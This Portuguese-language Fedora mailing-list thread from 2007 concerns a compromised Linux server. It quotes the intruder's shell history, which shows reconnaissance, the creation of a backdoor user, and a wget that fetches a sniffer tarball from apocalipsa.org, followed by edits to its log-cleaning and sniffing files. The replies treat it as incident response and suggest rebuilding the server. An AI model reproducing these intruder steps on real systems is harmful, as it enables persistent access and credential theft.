Olha! Da uma olhada no livro BS7799 Da Tatica a aplicacao em Servidores Linux... Procura na siciliano... bem interessante para questao de seguranca...

Em 27/03/07, André Felício <andre@felicio.com.br> escreveu:
Rau,

A Monday 26 March 2007 15:39:25, Alexandre Singulani escreveu:
> o arquivo ta aqui sim, ele não apagou..... mas pelo jeito ele não conseguiu
> fazer muita coisa, assim espero....
> abaixo os comandos que ele executou
>
> w
> uname -a
> cat /proc/cpuinfo
> ps x
> ps aux
> history
> group
> groups
> adduser
> adduser baxter
> passwd baxter
> wget apocalipsa.org/.apocalipsa/sniff.tar
> tar xvf sniff.tar
> cd sniff
> l
> l
> ls
> cd snif
> ls
> cat klogd1
> ls
> pico klogd1
> nano klogd1
> nano clean
> nano cleanssh
> nano dnsquery
> nano dnsquery
> nano dsniff.services
> nano inst
> nano klogd1
> nano libdb.so.3
> nano popauth
> nano zum
> nano named.sn

Bem, seu servidor foi comprometido e a pessoa que fez isso não é lá muito
inteligente! (burrinho...)

Na duvida, eu tiraria ele de produção só por garantia e montaria um outro.

--
Att,

André Felício
http://www.felicio.com.br

Hmm... Which would do a better job at driving physicists crazy? Travel faster
than light, or a floating-point boolean value? -- Michael Mol

--
Fedora-users-br mailing list
Fedora-users-br@redhat.com
https://www.redhat.com/mailman/listinfo/fedora-users-br





--
Rafael Brito Gomes
Sistema de Informação
Universidade de Salvador (UNIFACS)

Linux User - 430086

O Tabareu - A Arte em sua forma mais Pura!
http://tabareu.wordpress.com/

Blog TechFree
http://techfree.wordpress.com/